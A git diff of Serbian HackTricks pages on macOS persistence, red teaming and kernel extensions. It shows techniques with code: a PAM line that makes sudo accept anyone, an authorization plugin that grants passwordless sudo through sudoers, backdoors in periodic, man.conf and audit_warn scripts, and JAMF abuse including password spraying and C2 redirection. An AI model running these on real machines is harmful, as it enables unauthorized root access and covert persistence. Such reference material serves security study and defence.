datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.** +Ovde možete pronaći startne lokacije korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto **upisivanjem u datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.** {% endhint %} ### Periodično @@ -1218,7 +1218,9 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit. #### Opis & Eksploatacija -Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno preuzimanje privilegija. +Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno eskalaciju privilegija. + +{% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1249,6 +1251,8 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` +{% endcode %} + Postoje i drugi periodični skriptovi koji će biti izvršeni, naznačeni u **`/etc/defaults/periodic.conf`**: ```bash grep "Local scripts" /etc/defaults/periodic.conf @@ -1256,18 +1260,16 @@ daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` -### Automatsko pokretanje lokacija na macOS-u - -Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local`, **biće izvršen ranije ili kasnije**. +Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local` **biće izvršen ranije ili kasnije**. {% hint style="warning" %} -Imajte na umu da će periodični skript biti **izvršen kao vlasnik skripte**. Dakle, ako obični korisnik poseduje skriptu, biće izvršena kao taj korisnik (ovo može sprečiti napade eskalacije privilegija). +Imajte na umu da će periodični skript biti **izvršen kao vlasnik skripte**. Dakle, ako običan korisnik poseduje skriptu, biće izvršena kao taj korisnik (ovo može sprečiti napade eskalacije privilegija). {% endhint %} ### PAM -Objašnjenje: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) +Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ +Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle) * Ali morate biti root @@ -1279,7 +1281,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevi #### Opis & Eksploatacija -Pošto je PAM više fokusiran na **upornost** i malver nego na jednostavno izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte objašnjenja da biste bolje razumeli ovu tehniku**. +Pošto je PAM više fokusiran na **upornost** i malver nego na lako izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte writeup-ove da biste bolje razumeli ovu tehniku**. Proverite PAM module sa: ```bash @@ -1287,7 +1289,7 @@ ls -l /etc/pam.d ``` ### Dodavanje zlonamernog modula PAM-a za održavanje postojanosti/escalaciju privilegija -Jedna od tehnika održavanja postojanosti/escalacije privilegija koja zloupotrebljava PAM je jednostavna kao modifikacija modula /etc/pam.d/sudo dodavanjem linije na početku: +Tehnika održavanja postojanosti/escalacije privilegija zloupotrebom PAM-a je jednostavna kao što je modifikacija modula /etc/pam.d/sudo dodavanjem na početku linije: ```bash auth sufficient pam_permit.so ``` @@ -1305,13 +1307,13 @@ session required pam_permit.so I zbog toga će svaki pokušaj korišćenja **`sudo` raditi**. {% hint style="danger" %} -Imajte na umu da je ovaj direktorijum zaštićen TCC-om, pa je vrlo verovatno da će korisnik dobiti upit za pristup. +Imajte na umu da je ovaj direktorijum zaštićen TCC-om, pa je veoma verovatno da će korisnik dobiti upit za pristup. {% endhint %} ### Plugins za autorizaciju -Analiza: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ -Analiza: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) +Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ +Objašnjenje: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) * Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle) * Ali morate biti root i napraviti dodatne konfiguracije @@ -1320,12 +1322,12 @@ Analiza: [https://posts.specterops.io/persistent-credential-theft-with-authoriza #### Lokacija * `/Library/Security/SecurityAgentPlugins/` -* Potreban je root pristup +* Potreban je root * Takođe je potrebno konfigurisati bazu podataka za autorizaciju da koristi plugin #### Opis & Eksploatacija -Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodne analize (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka). +Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodna objašnjenja (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1340,7 +1342,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` -**Pomerite** paket na lokaciju koja će se učitati: +**Pomerite** paket na lokaciju sa koje će se učitati: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` @@ -1363,7 +1365,7 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga izvršiti kao root. +**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga učiniti izvršnim od strane root korisnika. Pokrenite ga sa: ```bash @@ -1385,7 +1387,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit. #### Opis & Eksploatacija -Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja man dokumentacionih fajlova. Dakle, putanja do izvršne datoteke može biti promenjena tako da svaki put kada korisnik koristi man za čitanje nekih dokumenata, izvrši se zadnja vrata. +Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja fajlova sa man dokumentacijom. Dakle, putanja do izvršne datoteke može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje neke dokumentacije, izvrši se zadnja vrata. Na primer, postavite u **`/private/etc/man.conf`**: ``` @@ -1417,12 +1419,14 @@ touch /tmp/manconf #### Opis & Eksploatacija Možete naznačiti u `/etc/apache2/httpd.conf` da učita modul dodavanjem linije poput: + +{% code overflow="wrap" %} ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili trebate **potpisati ga važećim Apple sertifikatom**, ili trebate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim. +Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili morate **potpisati ga važećim Apple sertifikatom**, ili morate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim. Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti: ```bash @@ -1445,7 +1449,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) * Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle) -* Ali potrebno je da budete root, da auditd radi i da izazovete upozorenje +* Ali morate biti root, auditd mora biti pokrenut i izazvati upozorenje * TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle) #### Lokacija @@ -1456,7 +1460,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit. #### Opis & Eksploatacija -Kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvršava**. Dakle, možete dodati svoj payload na nju. +Svaki put kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvršava**. Dakle, možete dodati svoj payload na nju. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` @@ -1493,19 +1497,17 @@ Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno sm ``` {% endtab %} -{% tab title="superservicename" %} +{% tab title="superservicename" %} + ### Lokacije automatskog pokretanja na macOS-u Na macOS-u, postoji nekoliko lokacija gde se aplikacije mogu postaviti da se automatski pokreću prilikom pokretanja sistema. Ove lokacije uključuju: -1. **Login Items**: Ovo se nalazi u System Preferences > Users & Groups > Login Items. Korisnik može dodati aplikacije koje želi da se automatski pokreću prilikom prijavljivanja. +1. **LaunchAgents**: Ovde se nalaze korisnički specifični agenti koji se pokreću kada se korisnik prijavi. +2. **LaunchDaemons**: Ovde se nalaze sistemski agenti koji se pokreću prilikom pokretanja sistema. +3. **StartupItems**: Ova zastarela lokacija se koristila u starijim verzijama macOS-a i sadrži skripte koje se pokreću prilikom pokretanja sistema. -2. **Launch Agents i Launch Daemons**: Ove lokacije se nalaze u `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents`. Aplikacije smeštene u ovim folderima se pokreću prilikom pokretanja sistema ili prijavljivanja korisnika. - -3. **Startup Items**: Ovo je zastarela metoda automatskog pokretanja aplikacija i smeštena je u `/Library/StartupItems`. Preporučuje se korišćenje modernijih metoda poput Login Items ili Launch Agents/Daemons. - -Provera i upravljanje aplikacijama koje se automatski pokreću može pomoći u poboljšanju bezbednosti i performansi sistema. -{% endtab %} +Provera ovih lokacija može biti korisna za otkrivanje potencijalno zlonamernih aplikacija koje pokušavaju da se automatski pokrenu prilikom pokretanja sistema. ```bash #!/bin/sh . /etc/rc.common @@ -1527,12 +1529,12 @@ RunService "$1" ### ~~emond~~ {% hint style="danger" %} -Ne mogu da pronađem ovu komponentu na mom macOS-u, pa za više informacija pogledajte writeup -{% endhint} +Ne mogu da pronađem ovu komponentu na mom macOS-u, pa za više informacija pogledajte objašnjenje +{% endhint %} -Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) +Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -Uveden od strane Apple-a, **emond** je mehanizam za beleženje koji deluje nedovoljno razvijeno ili možda napušteno, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora. +**emond** je mehanizam za beleženje koji je uveden od strane Apple-a, a koji se čini nedovoljno razvijenim ili možda napuštenim, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora. Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršenje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda: ```bash @@ -1550,12 +1552,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit. #### Opis & Eksploatacija -XQuartz **više nije instaliran u macOS-u**, pa ako želite više informacija pogledajte writeup. +XQuartz više **nije instaliran u macOS-u**, pa ako želite više informacija pogledajte writeup. ### ~~kext~~ {% hint style="danger" %} -Toliko je komplikovano instalirati kext čak i kao root da neću smatrati ovo kao bekstvo iz peska ili čak za postojanost (osim ako imate eksploit) +Toliko je komplikovano instalirati kext čak i kao root da neću smatrati ovo kao beg iz peska ili čak za postojanost (osim ako imate eksploit) {% endhint %} #### Lokacija @@ -1565,9 +1567,9 @@ Da biste instalirali KEXT kao stavku za pokretanje, potrebno je da bude **instal * `/System/Library/Extensions` * KEXT fajlovi ugrađeni u OS X operativni sistem. * `/Library/Extensions` -* KEXT fajlovi instalirani od strane softvera trećih strana +* KEXT fajlovi instalirani od strane softvera trećih lica -Trenutno učitane kext fajlove možete listati sa: +Možete prikazati trenutno učitane kext fajlove sa: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1579,22 +1581,22 @@ Za više informacija o [**kernel ekstenzijama pogledajte ovu sekciju**](macos-se ### ~~amstoold~~ -Analiza: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) +Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### Lokacija * **`/usr/local/bin/amstoold`** * Potreban je root pristup -#### Opis & Eksploatacija +#### Opis i eksploatacija -Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je što binarni fajl nije postojao, pa ste mogli postaviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan. +Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je bio što binarni fajl nije postojao, pa ste mogli postaviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan. Ne mogu više pronaći ovo na mom macOS-u. ### ~~xsanctl~~ -Analiza: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) +Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### Lokacija @@ -1602,9 +1604,9 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit. * Potreban je root pristup * **Okidač**: Kada se servis pokrene (retko) -#### Opis & eksploatacija +#### Opis i eksploatacija -Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na mom macOS-u, pa ako želite više informacija pogledajte analizu. +Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na mom macOS-u, pa ako želite više informacija pogledajte objašnjenje. ### ~~/etc/rc.common~~ @@ -1716,7 +1718,7 @@ esac Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md index f9e4ab645..f251c9513 100644 --- a/macos-hardening/macos-red-teaming/README.md +++ b/macos-hardening/macos-red-teaming/README.md @@ -6,9 +6,9 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -19,7 +19,7 @@ Drugi načini podrške HackTricks-u: * JAMF Pro: `jamf checkJSSConnection` * Kandji -Ako uspete da **kompromitujete admin kredencijale** kako biste pristupili platformi za upravljanje, možete **potencijalno kompromitovati sve računare** distribuiranjem malvera na mašinama. +Ako uspete da **kompromitujete admin kredencijale** kako biste pristupili platformi za upravljanje, možete **potencijalno kompromitovati sve računare** distribuiranjem malvera na mašine. Za crveno timovanje u MacOS okruženjima, veoma je preporučljivo imati razumevanje kako MDM-ovi funkcionišu: @@ -39,7 +39,7 @@ Da biste prijavili uređaj u MDM, potrebno je da instalirate **`mobileconfig`** **Mythic agent Orthrus** koristi ovu tehniku. -### Zloupotreba JAMF PRO +### Zloupotreba JAMF PRO-a JAMF može pokrenuti **prilagođene skripte** (skripte razvijene od strane sistem administratora), **nativne payload-e** (kreiranje lokalnih naloga, postavljanje EFI šifre, praćenje fajlova/procesa...) i **MDM** (konfiguracije uređaja, sertifikati uređaja...). @@ -47,7 +47,7 @@ JAMF može pokrenuti **prilagođene skripte** (skripte razvijene od strane siste Idite na stranicu poput `https://.jamfcloud.com/enroll/` da biste videli da li imaju **omogućeno samoprijavljivanje**. Ako imaju, može **zatražiti kredencijale za pristup**. -Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da biste izvršili napad pomoću prskanja lozinki. +Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da biste izvršili napad prskanja lozinki. Osim toga, nakon pronalaska odgovarajućih kredencijala, možda ćete moći da probate da forsiate druge korisničke imenike sa sledećim oblikom: @@ -55,14 +55,14 @@ Osim toga, nakon pronalaska odgovarajućih kredencijala, možda ćete moći da p #### Autentikacija uređaja u JAMF-u -
+
-**`jamf`** binarni fajl sadrži tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\ +**`jamf`** binarni fajl sadrži tajnu za otvaranje keša koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\ Osim toga, jamf **traje** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`** #### Preuzimanje uređaja u JAMF-u -**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti se nalazi u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ +**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti nalazi se u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ Ovaj fajl u osnovi sadrži URL: {% code overflow="wrap" %} @@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist ``` {% endcode %} -Dakle, napadač bi mogao da ubaci zlonamerni paket (`pkg`) koji **prepisuje ovaj fajl** prilikom instalacije postavljajući **URL ka Mythic C2 slušaocu od strane Typhon agenta** kako bi sada mogao da zloupotrebi JAMF kao C2. +Dakle, napadač bi mogao da ubaci zlonamerni paket (`pkg`) koji **prepisuje ovaj fajl** prilikom instalacije postavljajući **URL ka Mythic C2 slušaocu sa Typhon agentom** kako bi sada mogao da zloupotrebi JAMF kao C2. {% code overflow="wrap" %} ```bash @@ -98,15 +98,15 @@ Da biste **imitirali komunikaciju** između uređaja i JMF-a, potrebno je: * **UUID** uređaja: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * **JAMF keš lanac** sa lokacije: `/Library/Application\ Support/Jamf/JAMF.keychain` koji sadrži sertifikat uređaja -Sa ovim informacijama, **kreirajte virtuelnu mašinu** sa **ukradenim** hardverskim **UUID-om** i sa **SIP onemogućenim**, ubacite **JAMF keš lanac**, **hukujte** Jamf **agent** i ukradite njegove informacije. +Sa ovim informacijama, **kreirajte virtuelnu mašinu** sa **ukradenim** hardverskim **UUID-om** i sa **SIP onemogućenim**, ispustite **JAMF keš lanac**, **hukujte** Jamf **agent** i ukradite njegove informacije. #### Krađa tajni

a

-Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori žele da izvrše putem Jamf-a jer se ovde **postavljaju, izvršavaju i uklanjaju**. Ove skripte **mogu sadržati pristupne podatke**. +Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori žele da izvrše putem Jamf-a jer se ovde **postavljaju, izvršavaju i uklanjaju**. Ove skripte **mogu sadržati akreditive**. -Međutim, **pristupni podaci** mogu biti prosleđeni ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez privilegija root korisnika). +Međutim, **akreditivi** mogu biti prosleđeni ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez biti root). Skripta [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) može osluškivati dodavanje novih fajlova i novih argumenata procesa. @@ -120,7 +120,7 @@ I takođe o "specijalnim" **mrežnim** **protokolima** za **MacOS**: ## Active Directory -U nekim situacijama ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebalo bi da pokušate da **enumerišete** active directory na način na koji ste navikli. Pronađite **pomoć** na sledećim stranicama: +U nekim situacijama ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebali biste pokušati da **enumerišete** active directory kao što ste navikli. Pronađite **pomoć** na sledećim stranicama: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -152,18 +152,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil Tri vrste MacOS korisnika su: -* **Lokalni korisnici** — Upravljaju se lokalnom OpenDirectory uslugom i nisu na bilo koji način povezani sa Active Directory-jem. -* **Mrežni korisnici** — Promenljivi Active Directory korisnici koji zahtevaju povezivanje sa DC serverom radi autentifikacije. -* **Mobilni korisnici** — Active Directory korisnici sa lokalnom rezervnom kopijom svojih akreditacija i fajlova. +- **Lokalni korisnici** - Upravljaju se lokalnom OpenDirectory uslugom i nisu na bilo koji način povezani sa Active Directory-jem. +- **Mrežni korisnici** - Promenljivi Active Directory korisnici koji zahtevaju povezivanje sa DC serverom radi autentifikacije. +- **Mobilni korisnici** - Active Directory korisnici sa lokalnom rezervnom kopijom svojih akreditacija i fajlova. Lokalne informacije o korisnicima i grupama čuvaju se u folderu _/var/db/dslocal/nodes/Default._\ -Na primer, informacije o korisniku pod imenom _mark_ čuvaju se u _/var/db/dslocal/nodes/Default/users/mark.plist_, a informacije o grupi _admin_ su u _/var/db/dslocal/nodes/Default/groups/admin.plist_. +Na primer, informacije o korisniku pod imenom _mark_ čuvaju se u _/var/db/dslocal/nodes/Default/users/mark.plist_ i informacije o grupi _admin_ su u _/var/db/dslocal/nodes/Default/groups/admin.plist_. Pored korišćenja HasSession i AdminTo veza, **MacHound dodaje tri nove veze** u Bloodhound bazu podataka: -* **CanSSH** - entitetu dozvoljeno SSH povezivanje na host -* **CanVNC** - entitetu dozvoljeno VNC povezivanje na host -* **CanAE** - entitetu dozvoljeno izvršavanje AppleEvent skripti na hostu +- **CanSSH** - entitetu dozvoljeno SSH povezivanje na host +- **CanVNC** - entitetu dozvoljeno VNC povezivanje na host +- **CanAE** - entitetu dozvoljeno izvršavanje AppleEvent skripti na hostu ```bash #User enumeration dscl . ls /Users @@ -199,7 +199,7 @@ Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez gener MacOS Red Teaming se razlikuje od redovnog Windows Red Teaming-a jer je obično **MacOS integrisan sa nekoliko spoljnih platformi direktno**. Česta konfiguracija MacOS-a je pristup računaru korišćenjem **OneLogin sinhronizovanih akreditiva, i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogina. -## Različite tehnike crvenog tima +## Razne tehnike crvenog tima ### Safari diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index b0ae1218b..34f419765 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -5,7 +5,7 @@ Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! * Da li radite u **kompaniji za sajber bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **poslednjoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Pogledajte [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-a**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite **zvanični PEASS i HackTricks** [**swag**](https://peass.creator-spring.com) * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live). * **Podelite svoje hakovanje trikove slanjem PR-a na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud). @@ -22,25 +22,25 @@ Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju * Prilikom **ulaska u režim oporavka**, kernel **ekstenzije moraju biti dozvoljene** za učitavanje: -
+
-* Kernel ekstenzija mora biti **potpisana kernel kodnim potpisom**, koji može dati samo **Apple**. Ko će detaljno pregledati kompaniju i razloge zašto je potrebno. +* Kernel ekstenzija mora biti **potpisana kernel potpisnim sertifikatom**, koji može **dodeliti samo Apple**. Ko će detaljno pregledati kompaniju i razloge zašto je potrebno. * Kernel ekstenzija takođe mora biti **notarizovana**, Apple će moći da je proveri na prisustvo malvera. * Zatim, **root** korisnik je taj koji može **učitati kernel ekstenziju** i fajlovi unutar paketa moraju **pripadati root-u**. -* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva dozvolu `com.apple.rootless.storage.KernelExtensionManagement`). -* Na kraju, prilikom pokušaja učitavanja, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) i, ako se prihvati, računar mora biti **restartovan** da bi je učitao. +* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu). +* Na kraju, prilikom pokušaja učitavanja, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) i, ako se prihvati, računar mora biti **restartovan** da bi se učitao. ### Proces učitavanja -U Catalina verziji je bilo ovako: Zanimljivo je primetiti da se **proces verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa dozvolom **`com.apple.private.security.kext-management`** mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +U Catalina verziji je bilo ovako: Zanimljivo je napomenuti da se **proces verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` 1. **`kextutil`** cli **pokreće** proces **verifikacije** za učitavanje ekstenzije * Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**. 2. **`kextd`** će proveriti nekoliko stvari, kao što je **potpis** -* Razgovaraće sa **`syspolicyd`** da **proveri** da li se ekstenzija može **učitati**. -3. 